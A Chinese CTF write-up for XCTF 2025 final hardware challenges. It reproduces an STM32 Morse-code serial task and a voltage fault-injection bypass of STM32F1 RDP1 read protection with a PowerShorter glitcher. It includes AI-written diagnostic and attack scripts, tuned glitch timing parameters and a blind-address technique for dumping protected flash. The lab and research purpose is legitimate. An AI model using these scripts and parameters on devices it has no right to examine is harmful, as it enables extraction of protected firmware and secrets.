碎碎念

拖了很久,终于开始着手对去年final的部分赛题进行复现及补齐工作,主要就是rw的两道硬件题和misc的一道0解题。

硬件题当时在比赛中其实已经完成了第一题,算是一个比较简单的签到题,即便我从来没有接触过STM32,也能通过现场搜集资料和工具来完成这道题目,而第二题则相对来说困难一些,存在两种解题思路(由官方github仓库所指出: https://github.com/xuanxuanblingbling/XCTF_2025_FINAL_RW_STM32 ),比赛中我主要集中尝试了故障注入的方法,尽管最后没有做出来(其实是当时有点点懒了,而且没想到可以通过卡比赛规则的方法将设备带回酒店继续打),但是赛后主办方为每一队申请过故障注入设备的队伍提供了一套完整的可用于后续复现的完整题目设备(十分感谢他们提供设备,也十分感谢xuanxuan师傅)

而misc的0解题,其一开始被非预期了,通过直接搜索flag头的base64编码可以在附件中找到flag的base64编码结果,所以后面也是紧急上线了该题的reverse版本,最终也是不负众望的以0解收场(根本不会逆向),而伴随着现今ai科技的飞速发展,我萌生出了利用claude code直接梭哈分析这题的想法,尝试为这道0解题画上一个不算完美的句号,至于结果,既然你能看到这篇文章,就说明cc它做到了)

截止本文章发出,我倒是没搜到别人有发这些题的wp,难道我真是第一个?)

RW

STM32_MorseCode

这题算是一道签到题,还是比较简单的,不过因为是第一次接触,当时在赛场捣鼓了很久,还看漏了一个设备导致卡了很久,最后试出来发现其实挺简单的

首先现场发放了一套硬件设备,里面分别有若干条杜邦线、一个STM32开发板、一个ST-Link调试器、一个USB to TTL转接器,一个逻辑分析仪、一条microusb转usb线

由于本人不是这方面的专家,遂只在此放出解题流程,相对应的原理不做过多阐述

首先在开发板上有一个microusb口,用microusb转usb线接入后,将usb头接入自己的电脑设备

f2ca3be717e0b82b8efb90d2cb6db2c3

随后用杜邦线分别连接开发板上的a9、a10以及G(GND)口,另一头则是相对应的去链接USB to TTL转接器上的TX、RX和GND口,随后再将其USB头接入电脑设备的另一个USB口中

e65f8df68b3837abf785b75c52212595

c471d4ed843bc0c06de2a9d21e20c5d6

在自己的电脑中配置好对应的串口驱动和开发板驱动,随后用串口连接工具获取开发板的信息

如果上述配置准确,连接串口后会接收到开发版发出的信息(波特率、数据位等参数默认即可,主要在于串口号别搞错)

9a51bacaa30ee09ca8303e5aa7e1ccf8

他会要求我们通过触发PC13口,构造并传入XCTF的摩斯电码

我们只需要再拿一个杜邦线(需注意其中一头要是裸露的),随后将有插口的一头插入开发板的另一个G口中,然后用裸露的一头去触碰PC13口的,根据触碰的时间长短来构造摩斯码的.-

XCTF的摩斯码如下,分四次间隔来传入即可

1-..- -.-. - ..-.

成功传入后开发板即会发送UID数据,将UID数据通过手机app的形式录入nfc卡即可

528c9de2e4f6fe38bb30e3e5072ae19b

aff2b6ade0277a173d8661f127730537

STM32_RDPbypass

首先十分感谢SU联队喵师傅对我的大力帮助,也很感谢xuanxuan师傅及纽创信安公司提供的设备支持

本来当初赛后就打算复现了,硬是拖了这么久,拖到现在ctf已经是全新的赛季全新的时代了,遂结合新时代技术,完成了本次题目的完整复现

根据final赛后晚宴上xuanxuan师傅的介绍,利用故障注入方法绕过RDP保护的具体思路可以参考这篇文章(赛中喵师傅也给我发了):

1https://yichen115.github.io/%E6%95%85%E9%9A%9C%E6%A1%88%E4%BE%8B/STM32F1x%20%E7%94%B5%E5%8E%8B%E6%95%85%E9%9A%9C%E6%B3%A8%E5%85%A5%E7%BB%95%E8%BF%87%20RDP1%20%E5%9B%BA%E4%BB%B6%E8%AF%BB%E4%BF%9D%E6%8A%A4/#rdp

遂我们这次的复现核心围绕的就是这篇文章

首先我们根据上一题中成功进行串口连接并获取到数据后得到的github仓库

1https://github.com/xuanxuanblingbling/XCTF_2025_FINAL_RW_STM32

在仓库中详细介绍(好像也不是那么详细)了故障注入相关的信息以及需要用到的内容:

image-20260404194040018

image-20260404194000540

根据核心参考文章中的内容,我们需要利用powershorter对故障注入专用的开发板进行故障注入操作从而绕过RDP保护,而这就需要powershorter自己特有的库,因而我们需要下载仓库中给出的whl文件,而在脚本参考部分中还有一个名为faultviz的库,也是需要我们自行去gitee里下载whl文件然后安装的(不过这个库应该不是必须的,他主要是用来动态显示故障注入的结果,从而帮助我们快速调整参数)

1https://gitee.com/osr-tech/faultviz/releases/tag/v1.0.0

image-20260404194228441

现在就可以正式开始复现

首先需要说一个避雷的点,如果直接按照文章的顺序逐步操作,不小心的话可能会导致将开发板中的flash数据被清空。我复现时按着顺序做,结果到这里因为手快已经点了apply,结果就把rdp关掉了,然后flash数据也没了,所以后续的复现是我自己重新录入的数据然后把rdp重新打开了(我以为这步有用呢没想到只是一个前情提要)

image-20260404194448461

实际上我们需要做的只有最后一步,也就是故障注入绕过STM32

由于我不是硬件相关的专业人员,也没有接触过这方面的知识,所以更多是对文章的参考,以及利用现在强大的ai去帮助我完成的复现,所以这里主要讲述我的复现流程,不过多提及原理

首先需要按照文章中的这个线路图,对powershorter,串口小板(usb to ttl)以及stm32故障开发板进行正确的链接,大部分线路都是很显而易见的,唯独GND以及pa10接tx和tri这里我觉得有必要进行一点讲解

image-20241210124235825

首先可以说的是图片是正确的,三者的gnd必须接到一块,而我手中都是1pin单口的杜邦线,最后的解决方案是,将串口小板的gnd口连接powershorter的gnd口,再将开发板的gnd口连接powershorter的gnd口(因为powershorter共有四个gnd口),这样就算是将三者的gnd接到了一块

而a10这里就比较麻烦,a10,tx以及e1-tri都各只有一个引脚,如果通过1pin杜邦线根本没办法将他们很好的连接起来(至少我做不到),我最后的解决办法是,先将a10的引脚和tx引脚通过双母头杜邦线相连,然后在a10的背面,还存在一个凸起的金属点,我再用另一条母头杜邦线将e1-tri口和这个金属点相接,最终形成这样的三口互联的情况(上面的红圈连的是tx,下面的红圈连的是e1-tri)

1ab73045db0c2a8bf3e1a2880ca17976

接线顺利完成后,即可进入最后的脚本攻击阶段

文章中给出的攻击脚本是没办法直接拿来用在我们的设备上的,需要进行调试,实际上这里应该还需要接入逻辑分析仪来观察故障注入的情况,但由于接线实在是太乱了我就没再接了,直接利用claude code进行辅助分析处理

最开始让它给我写了俩脚本来确认了我的接线是否正常:

diagnose.py

  1"""
  2STM32 故障注入 - 硬件接线诊断脚本
  3用于排查 PowerShorter + STM32 接线是否正确
  4
  5检查项:
  6  1. PowerShorter 设备连接
  7  2. GPIO 供电控制(上电/断电)
  8  3. UART 串口通信
  9  4. Bootloader 同步(0x7F -> 0x79)
 10  5. RDP 状态确认(0x11 -> 0x1F 表示 RDP 已开启)
 11"""
 12
 13from power_shorter import *
 14import time
 15import serial
 16import sys
 17
 18# ─────────────────────────────────────────────
 19# 配置区:按你的实际环境修改
 20# ─────────────────────────────────────────────
 21PS_PORT   = "com4"    # PowerShorter 串口
 22UART_PORT = "com5"    # STM32 UART 串口(串口小板)
 23UART_BAUD = 115200
 24# ─────────────────────────────────────────────
 25
 26
 27def banner(msg):
 28    print(f"\n{'='*50}")
 29    print(f"  {msg}")
 30    print(f"{'='*50}")
 31
 32
 33def test_powershorter():
 34    """测试1: PowerShorter 设备连接"""
 35    banner("测试1: PowerShorter 设备连接")
 36    try:
 37        ps_dev = PowerShorter(PS_PORT)
 38        print(f"[OK] PowerShorter 在 {PS_PORT} 连接成功")
 39        return ps_dev
 40    except Exception as e:
 41        print(f"[FAIL] PowerShorter 连接失败: {e}")
 42        print(f"  -> 请检查:")
 43        print(f"     1. PowerShorter 是否已连接电脑")
 44        print(f"     2. 串口号 {PS_PORT} 是否正确(设备管理器查看)")
 45        print(f"     3. 驱动是否已安装")
 46        return None
 47
 48
 49def test_gpio_power(ps_dev):
 50    """测试2: GPIO 供电控制"""
 51    banner("测试2: GPIO 供电控制")
 52    try:
 53        print("[*] 断电 (GPIO1 -> 0)...")
 54        ps_dev.gpio(GPIO.GPIO1, 0)
 55        time.sleep(0.5)
 56        print("[OK] 断电指令已发送")
 57
 58        print("[*] 上电 (GPIO1 -> 1)...")
 59        ps_dev.gpio(GPIO.GPIO1, 1)
 60        time.sleep(0.5)
 61        print("[OK] 上电指令已发送")
 62
 63        print()
 64        print("[?] 请肉眼确认:")
 65        print("    - STM32 板上 LED 是否在断电时熄灭、上电时亮起?")
 66        print("    - 如果 LED 始终亮着 -> GPIO1 没有接到 STM32 的 VDD")
 67        print("    - 如果 LED 始终灭 -> 可能接线断路或 GPIO 编号不对")
 68        return True
 69    except Exception as e:
 70        print(f"[FAIL] GPIO 控制失败: {e}")
 71        return False
 72
 73
 74def test_uart():
 75    """测试3: UART 串口连接"""
 76    banner("测试3: UART 串口连接")
 77    try:
 78        uart = serial.Serial(
 79            UART_PORT,
 80            UART_BAUD,
 81            parity=serial.PARITY_EVEN,
 82            timeout=0.5
 83        )
 84        print(f"[OK] 串口 {UART_PORT} 打开成功 (115200, 偶校验)")
 85        return uart
 86    except Exception as e:
 87        print(f"[FAIL] 串口打开失败: {e}")
 88        print(f"  -> 请检查:")
 89        print(f"     1. 串口小板是否已连接电脑")
 90        print(f"     2. 串口号 {UART_PORT} 是否正确")
 91        print(f"     3. 串口是否被其他程序占用")
 92        return None
 93
 94
 95def test_bootloader_sync(ps_dev, uart):
 96    """测试4: Bootloader 同步"""
 97    banner("测试4: Bootloader 同步 (0x7F)")
 98
 99    # 先重新上电,确保干净状态
100    print("[*] 执行上电重置...")
101    ps_dev.gpio(GPIO.GPIO1, 0)
102    time.sleep(0.3)
103    ps_dev.gpio(GPIO.GPIO1, 1)
104    time.sleep(0.3)
105
106    uart.reset_input_buffer()
107    uart.reset_output_buffer()
108
109    print("[*] 发送同步字节 0x7F...")
110    uart.write(b'\x7f')
111    time.sleep(0.1)
112    resp = uart.read(uart.in_waiting or 1)
113    resp_hex = resp.hex() if resp else "(空)"
114
115    print(f"[*] 收到响应: {resp_hex} ({len(resp)} 字节)")
116
117    if resp == b'\x79':
118        print("[OK] Bootloader 同步成功! (ACK=0x79)")
119        print("    -> UART 接线正确, BOOT0=1 配置正确")
120        return True
121    elif resp == b'\x1f':
122        print("[WARN] 收到 NACK (0x1F)")
123        print("    -> Bootloader 有响应但拒绝了,可能需要先重启")
124        return True  # 至少有通信
125    elif not resp:
126        print("[FAIL] 无响应!")
127        print("  -> 请检查:")
128        print("     1. BOOT0 跳线帽是否接到 1")
129        print("     2. BOOT1 跳线帽是否接到 0")
130        print("     3. STM32 的 PA9(TX) 是否接到串口小板的 RX")
131        print("     4. STM32 的 PA10(RX) 是否接到串口小板的 TX")
132        print("     5. STM32 和串口小板的 GND 是否连接")
133        print("     6. STM32 是否已上电(LED是否亮)")
134        return False
135    else:
136        print(f"[WARN] 收到意外响应: {resp_hex}")
137        print("    -> 有通信但响应异常,检查波特率/校验设置")
138        return False
139
140
141def test_rdp_status(ps_dev, uart):
142    """测试5: RDP 状态确认"""
143    banner("测试5: RDP 状态确认 (发送 0x11 Read Memory)")
144
145    # 重新上电+同步
146    ps_dev.gpio(GPIO.GPIO1, 0)
147    time.sleep(0.3)
148    ps_dev.gpio(GPIO.GPIO1, 1)
149    time.sleep(0.3)
150
151    uart.reset_input_buffer()
152    uart.write(b'\x7f')
153    sync_resp = uart.read(1)
154    sync_hex = sync_resp.hex() if sync_resp else "(空)"
155    print(f"[*] 同步响应: {sync_hex}")
156
157    if sync_resp != b'\x79':
158        print("[FAIL] 同步失败,无法继续测试 RDP 状态")
159        return None
160
161    # 发送 Read Memory 命令 (不注入故障)
162    print("[*] 发送 Read Memory 命令 (0x11 0xEE),不注入故障...")
163    uart.write(b'\x11\xee')
164    rdp_resp = uart.read(1)
165    rdp_hex = rdp_resp.hex() if rdp_resp else "(空)"
166    print(f"[*] Read Memory 响应: {rdp_hex}")
167
168    if rdp_resp == b'\x1f':
169        print("[OK] 收到 NACK (0x1F) -> RDP 已开启! 这是预期的")
170        print("    -> 需要故障注入才能绕过此保护")
171        return "RDP_ON"
172    elif rdp_resp == b'\x79':
173        print("[!] 收到 ACK (0x79) -> RDP 未开启!")
174        print("    -> 不需要故障注入,可以直接读取 Flash")
175        # 尝试直接读取
176        addr = (0x08000000).to_bytes(4, "big")
177        checksum = 0
178        for b in addr:
179            checksum ^= b
180        uart.write(addr + bytes([checksum]))
181        uart.read(1)  # addr ack
182        uart.write(b'\xff\x00')  # read 256 bytes
183        flash = uart.read(257)
184        if flash:
185            print(f"    Flash 数据 (前32字节): {flash[:32].hex()}")
186        return "RDP_OFF"
187    elif not rdp_resp:
188        print("[FAIL] 无响应")
189        return None
190    else:
191        print(f"[WARN] 意外响应: {rdp_hex}")
192        return None
193
194
195def test_glitch_engine(ps_dev, uart):
196    """测试6: 毛刺引擎基本功能"""
197    banner("测试6: 毛刺引擎配置测试")
198    try:
199        ps_dev.engine_cfg(
200            Engine.E1,
201            [(0, 1000), (1, 20), (0, 1)],
202            TRIGGER_MODE.RISE,
203            1,
204            6
205        )
206        print("[OK] engine_cfg 配置成功")
207
208        ps_dev.arm(Engine.E1)
209        print("[OK] arm() 调用成功")
210
211        print("[*] 毛刺引擎工作正常")
212        return True
213    except Exception as e:
214        print(f"[FAIL] 毛刺引擎错误: {e}")
215        return False
216
217
218def main():
219    print("=" * 50)
220    print("  STM32 故障注入 - 硬件诊断工具")
221    print("=" * 50)
222    print(f"  PowerShorter: {PS_PORT}")
223    print(f"  UART:         {UART_PORT} @ {UART_BAUD}")
224    print()
225
226    results = {}
227
228    # 测试1: PowerShorter
229    ps_dev = test_powershorter()
230    results["PowerShorter连接"] = ps_dev is not None
231    if not ps_dev:
232        print("\n[!] PowerShorter 连接失败,无法继续后续测试")
233        print_summary(results)
234        return
235
236    # 测试2: GPIO
237    results["GPIO供电控制"] = test_gpio_power(ps_dev)
238
239    # 测试3: UART
240    uart = test_uart()
241    results["UART串口"] = uart is not None
242    if not uart:
243        print("\n[!] UART 打开失败,无法继续后续测试")
244        print_summary(results)
245        return
246
247    # 测试4: Bootloader sync
248    results["Bootloader同步"] = test_bootloader_sync(ps_dev, uart)
249
250    # 测试5: RDP status
251    rdp = test_rdp_status(ps_dev, uart)
252    results["RDP状态"] = rdp
253
254    # 测试6: Glitch engine
255    results["毛刺引擎"] = test_glitch_engine(ps_dev, uart)
256
257    # 汇总
258    print_summary(results)
259
260    uart.close()
261
262
263def print_summary(results):
264    banner("诊断汇总")
265    all_ok = True
266    for name, status in results.items():
267        if status is True or status in ("RDP_ON", "RDP_OFF"):
268            icon = "[PASS]"
269        elif status is False or status is None:
270            icon = "[FAIL]"
271            all_ok = False
272        else:
273            icon = "[????]"
274        print(f"  {icon} {name}: {status}")
275
276    print()
277    if all_ok:
278        print("[*] 硬件接线正常! 问题大概率出在攻击脚本参数上")
279        print("    -> 请运行修复后的攻击脚本 attack_fixed.py")
280    else:
281        print("[!] 存在硬件/接线问题,请先修复后再尝试攻击")
282        print()
283        print("接线参考:")
284        print("  串口小板    STM32")
285        print("  --------    ------")
286        print("  3V3    -->  (不接! 用 PowerShorter 供电)")
287        print("  GND    -->  GND")
288        print("  TXD    -->  PA10 (RX)")
289        print("  RXD    -->  PA9  (TX)")
290        print()
291        print("  PowerShorter    STM32")
292        print("  ------------    ------")
293        print("  GPIO1 OUT  -->  3.3V / VDD")
294        print("  GLITCH OUT -->  VDD (同一个供电点)")
295        print("  GND        -->  GND")
296        print()
297        print("  STM32 跳线帽:")
298        print("  BOOT0 = 1")
299        print("  BOOT1 = 0")
300        print()
301        print("  注意: 必须去除 STM32 开发板 VDD 附近的去耦电容!")
302
303
304if __name__ == "__main__":
305    main()

diagnose_trigger.py

  1"""
  2STM32 故障注入 - 触发/毛刺输出 精确诊断
  3
  4诊断核心问题: 500次攻击全是 NACK, 零次无响应/异常
  5→ 毛刺可能根本没有触发
  6
  7检查项:
  8  1. arm() 后发送 UART 数据,检查引擎是否被触发 (armed → glitched)
  9  2. soft_trigger() 软件强制触发,检查毛刺输出是否影响 MCU
 10  3. 如果硬件触发失败但软触发成功 → 说明 Trigger 引脚没有接到 UART TX 线
 11"""
 12
 13from power_shorter import *
 14import time
 15import serial
 16
 17PS_PORT   = "com4"
 18UART_PORT = "com5"
 19UART_BAUD = 115200
 20
 21
 22def banner(msg):
 23    print(f"\n{'='*60}", flush=True)
 24    print(f"  {msg}", flush=True)
 25    print(f"{'='*60}", flush=True)
 26
 27
 28def main():
 29    print("PowerShorter + STM32 触发诊断", flush=True)
 30    print("=" * 60, flush=True)
 31
 32    ps_dev = PowerShorter(PS_PORT)
 33    uart = serial.Serial(UART_PORT, UART_BAUD, parity=serial.PARITY_EVEN, timeout=0.5)
 34
 35    # ──────────────────────────────────────────────
 36    # 测试 A: 硬件触发是否工作
 37    # ──────────────────────────────────────────────
 38    banner("测试 A: 硬件触发 (arm -> UART -> check state)")
 39
 40    # 上电
 41    ps_dev.gpio(GPIO.GPIO1, 0)
 42    time.sleep(0.3)
 43    ps_dev.gpio(GPIO.GPIO1, 1)
 44    time.sleep(0.3)
 45
 46    # 同步
 47    uart.reset_input_buffer()
 48    uart.write(b'\x7f')
 49    sync = uart.read(1)
 50    print(f"  同步: {sync.hex() if sync else '无响应'}", flush=True)
 51
 52    # 配置引擎 (用较安全的参数: 长延迟,短脉冲)
 53    ps_dev.engine_cfg(
 54        Engine.E1,
 55        [(0, 1000), (1, 20), (0, 1)],
 56        TRIGGER_MODE.RISE,
 57        1,
 58        6
 59    )
 60
 61    # 检查 arm 前的状态
 62    try:
 63        state_before = ps_dev.state(Engine.E1)
 64        print(f"  arm前状态: {state_before}", flush=True)
 65    except Exception as e:
 66        print(f"  arm前状态查询异常: {e}", flush=True)
 67
 68    # arm
 69    ps_dev.arm(Engine.E1)
 70    print("  已 arm()", flush=True)
 71
 72    # 检查 arm 后的状态 (应该是 "armed")
 73    try:
 74        state_armed = ps_dev.state(Engine.E1)
 75        print(f"  arm后状态: {state_armed}", flush=True)
 76    except Exception as e:
 77        print(f"  arm后状态查询异常: {e}", flush=True)
 78
 79    # 发送 0x11 0xEE (产生 6 个上升沿)
 80    uart.write(b'\x11\xee')
 81    res = uart.read(1)
 82    print(f"  0x11 响应: {res.hex() if res else '无'}", flush=True)
 83
 84    # 等一小段时间让毛刺完成
 85    time.sleep(0.1)
 86
 87    # 检查触发后的状态 (应该是 "glitched")
 88    try:
 89        state_after = ps_dev.state(Engine.E1)
 90        print(f"  发送后状态: {state_after}", flush=True)
 91    except Exception as e:
 92        print(f"  发送后状态查询异常: {e}", flush=True)
 93        state_after = "error"
 94
 95    if state_after == "glitched":
 96        print("\n  [OK] 硬件触发正常! 引擎成功被 UART 上升沿触发", flush=True)
 97        print("       → 毛刺已经打出,但参数可能需要调整", flush=True)
 98    elif state_after == "armed":
 99        print("\n  [FAIL] 硬件触发失败! 引擎仍处于 armed 状态", flush=True)
100        print("         → 引擎没有检测到上升沿!", flush=True)
101        print("         → 原因: PowerShorter 的 TRIGGER 输入引脚", flush=True)
102        print("                 没有连接到 UART TX 信号线!", flush=True)
103        print("", flush=True)
104        print("  修复方法:", flush=True)
105        print("    将 PowerShorter 的 TRIGGER IN 引脚", flush=True)
106        print("    连接到串口小板的 TX 线 (即 STM32 PA10/RX 方向的信号线)", flush=True)
107    else:
108        print(f"\n  [?] 状态异常: {state_after}", flush=True)
109
110    # ──────────────────────────────────────────────
111    # 测试 B: 软件触发 (验证毛刺输出通道是否接好)
112    # ──────────────────────────────────────────────
113    banner("测试 B: 软件触发 (soft_trigger)")
114
115    # 重新上电
116    ps_dev.gpio(GPIO.GPIO1, 0)
117    time.sleep(0.3)
118    ps_dev.gpio(GPIO.GPIO1, 1)
119    time.sleep(0.3)
120
121    # 同步
122    uart.reset_input_buffer()
123    uart.write(b'\x7f')
124    sync2 = uart.read(1)
125    print(f"  同步: {sync2.hex() if sync2 else '无响应'}", flush=True)
126
127    if sync2 != b'\x79':
128        print("  [FAIL] 同步失败,跳过软触发测试", flush=True)
129        uart.close()
130        return
131
132    # 配置较强的毛刺 (长脉冲)
133    ps_dev.engine_cfg(
134        Engine.E1,
135        [(0, 100), (1, 50), (0, 1)],   # 短延迟 1μs, 脉冲 500ns
136        TRIGGER_MODE.RISE,
137        1,
138        1    # 单个边沿即触发 (但我们用 soft_trigger 所以无所谓)
139    )
140
141    ps_dev.arm(Engine.E1)
142    print("  已 arm()", flush=True)
143
144    # 软件触发!
145    ps_dev.soft_trigger(Engine.E1)
146    print("  已 soft_trigger()!", flush=True)
147    time.sleep(0.05)
148
149    try:
150        state_soft = ps_dev.state(Engine.E1)
151        print(f"  软触发后状态: {state_soft}", flush=True)
152    except Exception as e:
153        print(f"  状态查询异常: {e}", flush=True)
154        state_soft = "error"
155
156    # 发送 0x11 看看 MCU 是否还活着
157    uart.reset_input_buffer()
158    uart.write(b'\x11\xee')
159    res2 = uart.read(1)
160    print(f"  0x11 响应: {res2.hex() if res2 else '无响应'}", flush=True)
161
162    if not res2:
163        print("\n  [INFO] 软触发后 MCU 无响应 → 毛刺输出有效!", flush=True)
164        print("         → GLITCH 输出已连接到 VDD,且能影响 MCU", flush=True)
165        print("         → 问题仅在于硬件触发引脚没接", flush=True)
166    elif res2 == b'\x1f':
167        print("\n  [INFO] 软触发后 MCU 正常 NACK → 毛刺可能没打到位", flush=True)
168        print("         → 检查 GLITCH 输出是否接到 STM32 VDD", flush=True)
169        print("         → 检查 VDD 附近的去耦电容是否已去除", flush=True)
170    elif res2 == b'\x79':
171        print("\n  [!!!] 软触发绕过了 RDP!!! → 毛刺参数有效!", flush=True)
172
173    # ──────────────────────────────────────────────
174    # 测试 C: 用软触发 + 精确时序尝试攻击
175    # ──────────────────────────────────────────────
176    banner("测试 C: 软触发快速攻击 (10次)")
177
178    success = False
179    for i in range(10):
180        ps_dev.gpio(GPIO.GPIO1, 0)
181        time.sleep(0.3)
182        ps_dev.gpio(GPIO.GPIO1, 1)
183        time.sleep(0.3)
184
185        uart.reset_input_buffer()
186        uart.write(b'\x7f')
187        s = uart.read(1)
188        if s != b'\x79':
189            print(f"  [{i+1}] 同步失败", flush=True)
190            continue
191
192        delay = 1000
193        pulse = 20
194
195        ps_dev.engine_cfg(
196            Engine.E1,
197            [(0, delay), (1, pulse), (0, 1)],
198            TRIGGER_MODE.RISE,
199            1,
200            1
201        )
202
203        ps_dev.arm(Engine.E1)
204
205        # 发送 read memory 命令
206        uart.write(b'\x11\xee')
207
208        # 紧接着软触发! (模拟硬件触发)
209        ps_dev.soft_trigger(Engine.E1)
210
211        res = uart.read(1)
212        res_hex = res.hex() if res else "无"
213        print(f"  [{i+1}] d={delay} p={pulse} -> {res_hex}", flush=True)
214
215        if res == b'\x79':
216            print(f"\n  [!!!] 软触发成功绕过 RDP!!!", flush=True)
217            success = True
218            break
219
220    # ──────────────────────────────────────────────
221    # 总结
222    # ──────────────────────────────────────────────
223    banner("诊断总结")
224    print("  硬件触发状态测试:", flush=True)
225    if state_after == "glitched":
226        print("    [OK] Trigger 引脚已连接,硬件触发正常", flush=True)
227    else:
228        print("    [FAIL] Trigger 引脚未连接!", flush=True)
229        print("", flush=True)
230        print("  ┌─────────────────────────────────────────────┐", flush=True)
231        print("  │  接线修复:                                   │", flush=True)
232        print("  │                                              │", flush=True)
233        print("  │  PowerShorter TRIGGER IN  ──→  串口小板 TX   │", flush=True)
234        print("  │  (检测 UART 上升沿)           (发往 PA10)    │", flush=True)
235        print("  │                                              │", flush=True)
236        print("  │  即: 把串口小板发送到 STM32 的那根 TX 线     │", flush=True)
237        print("  │  也分一根出来接到 PowerShorter 的 Trigger    │", flush=True)
238        print("  └─────────────────────────────────────────────┘", flush=True)
239
240    uart.close()
241
242
243if __name__ == "__main__":
244    main()

如果两个脚本运行后都输出正常,那么理论上就可以进入攻击阶段

这边由于我本人也不太懂具体的操作,所以让claude code直接代理分析,并进行脚本优化,经过12+版本的调试,最终得到了稳定的攻击成功脚本

这里放上一部分claude code写的原理及探索过程

攻击原理

电压故障注入 (VFI):在 CPU 执行 RDP 检查代码期间,通过短暂拉低 VDD 电压(制造约 100ns 的电压跌落),使得 CPU 可能:

  1. 跳过条件判断(NOP slide 效应)
  2. 错误地将 RDP 状态判断为未启用
  3. 直接执行"读取许可"路径

触发时机: PowerShorter 监听 TX 引脚(TRIGGER),当检测到 UART 上升沿时,等待 delay × 10ns,然后输出 pulse × 10ns 宽度的毛刺。命令 0x11 0xEE 在 TX 引脚会产生 6 个上升沿,配置 edges=6 让毛刺在最后一个上升沿后触发(此时 bootloader 正在处理命令并执行 RDP 检查)。

解题过程

Phase 1: 探索与参数摸索 (v2-v6)

初始参数范围较广(delay 200-1500, pulse 5-20),用于探索响应分布:

响应类型含义比例
0x1F (NACK)RDP 检查通过,正常拒绝~50%
0xFE/0xFF/0xFC 等UART 传输被毛刺干扰~35%
无响应MCU 崩溃~5%
0x79 (ACK)疑似绕过<1%

v5 首次出现 0x79:d=898 p=10,但后续 addr_ack 返回 0x0B(损坏),只读到 16 字节非 Flash 数据。

Phase 2: 识别假阳性 (v7-v9)

关键发现: 0x1F(00011111)被毛刺损坏后可能变成 0x79(01111001)——两者差 4 bit,在电压不稳时完全可能发生位翻转。

真正的 RDP 绕过必须同时满足:

  • cmd_ack == 0x79(命令 ACK)
  • addr_ack == 0x79(地址 ACK)

之前看到的 “0x79” 都是假阳性(被毛刺损坏的 NACK),addr_ack 仍然是 0x1F,RDP 并未被绕过。

Phase 3: 系统性扫描 + 盲发地址策略 (v10-v11)

盲发地址技巧: 无论 cmd 响应是什么(0x79 / 0x1F / 异常字节),都立即发送地址,检查 addr_ack 是否为 0x79。

理由:

  • 毛刺可能使 MCU 绕过 RDP,但同时损坏了 cmd 响应的 UART 传输
  • 即使 cmd 响应看起来不对,MCU 内部可能已经处于"允许读取"状态
  • 盲发地址没有额外成本,最多浪费 1 次读操作

v11 进行系统性扫描(delay 100-2000 步进 10,每步 3 次),同时启用盲发地址。

Phase 4: 精准攻击 + 成功 (attack_final / attack_final2)

基于 v11 找到的有效区间,精确到:

  • delay: 950-1250(对应 9.5μs - 12.5μs)
  • pulse: 10-14(对应 100ns - 140ns)

增加验证逻辑:size_ack == 0x79 且数据长度 ≥ 32 字节且非全 0xFF/0x00,才算真正成功。

第 131 次尝试成功(历时 52.7 秒):

1delay=1067 (10.67μs), pulse=10 (100ns)
2cmd → anomaly(0xFE) → 盲发地址 → addr_ack=0x79 → size_ack=0x79 → 读到 256 字节

最终的攻击脚本如下,需要说明的是,故障注入本身就是一种碰运气的打法(就是概率成功)所以每次运行的时间都不能绝对的保证,有时候可能一下就打对了,有时候可能要打上几百轮

  1"""
  2STM32 VFI - Final v2
  3
  4v11 成功: d=1106 p=14, 完整 256 字节 XCTF flag
  5final v1 问题: pulse 15-18 crash MCU(no_resp 50%), 假阳性(addr=0x79 但后续失败)
  6
  7优化:
  8  1. pulse 收窄 10-14 (去掉 15-18 的 crash 区)
  9  2. 验证: size_ack=0x79 且 data>=256 字节才算真正成功
 10  3. 假阳性时不停, 继续攻击
 11  4. bypass 后尝试不带毛刺的重读
 12"""
 13
 14from power_shorter import *
 15import time
 16import serial
 17import random
 18
 19PS_PORT       = "com4"
 20UART_PORT     = "com5"
 21UART_BAUD     = 115200
 22
 23FLASH_BASE    = 0x08000000
 24BLOCK_SIZE    = 0xFF
 25
 26# 精准参数 (d=1106 p=14 附近)
 27DELAY_MIN     = 950
 28DELAY_MAX     = 1250
 29PULSE_MIN     = 10
 30PULSE_MAX     = 14
 31
 32POWER_OFF_T   = 0.15
 33BOOT_T        = 0.20
 34
 35MAX_ATTEMPTS  = 10000
 36
 37LOG_FILE = None
 38
 39def log(msg):
 40    print(msg, flush=True)
 41    if LOG_FILE:
 42        LOG_FILE.write(msg + "\n")
 43        LOG_FILE.flush()
 44
 45
 46def gen_addr(addr: int) -> bytes:
 47    b = addr.to_bytes(4, "big")
 48    return b + bytes([b[0] ^ b[1] ^ b[2] ^ b[3]])
 49
 50
 51def show_hexdump(data, base_addr):
 52    for off in range(0, len(data), 16):
 53        chunk = data[off:off+16]
 54        hexpart = ' '.join(f'{b:02x}' for b in chunk)
 55        ascpart = ''.join(chr(b) if 32 <= b < 127 else '.' for b in chunk)
 56        log(f"  0x{base_addr+off:08X}: {hexpart:<48s} |{ascpart}|")
 57
 58
 59def try_read_full(s, tag=""):
 60    """
 61    在 addr_ack=0x79 之后完成 flash 读取
 62    返回 (data_bytes, success_bool)
 63    """
 64    # 发 size
 65    s.write(bytes([BLOCK_SIZE, BLOCK_SIZE ^ 0xFF]))
 66    size_ack = s.read(1)
 67
 68    if size_ack != b'\x79':
 69        log(f"  {tag} size ACK: 0x{size_ack.hex() if size_ack else 'none'} [fail]")
 70        return None, False
 71
 72    log(f"  {tag} size ACK: 0x79 [OK]")
 73
 74    # 读数据
 75    old_t = s.timeout
 76    s.timeout = 2.0
 77    data = s.read(BLOCK_SIZE + 1)    # 256 bytes
 78    s.timeout = old_t
 79
 80    if not data or len(data) < 32:
 81        log(f"  {tag} data: only {len(data) if data else 0} bytes [fail]")
 82        return data, False
 83
 84    # 检查数据质量: 不能全 0x00 或全 0xFF
 85    unique = set(data)
 86    if len(unique) <= 2 and (unique <= {0x00, 0xFF}):
 87        log(f"  {tag} data: {len(data)} bytes but all zeros/ff [suspicious]")
 88        return data, False
 89
 90    return data, True
 91
 92
 93def main():
 94    global LOG_FILE
 95    LOG_FILE = open("attack_final2_log.txt", "w", encoding="utf-8")
 96
 97    log("=" * 60)
 98    log("  STM32 VFI - Final v2 (Precision)")
 99    log("=" * 60)
100    log(f"  Target: 0x{FLASH_BASE:08X}")
101    log(f"  Delay:  {DELAY_MIN}-{DELAY_MAX}")
102    log(f"  Pulse:  {PULSE_MIN}-{PULSE_MAX}")
103    log(f"  Max:    {MAX_ATTEMPTS}")
104    log("")
105
106    ps_dev = PowerShorter(PS_PORT)
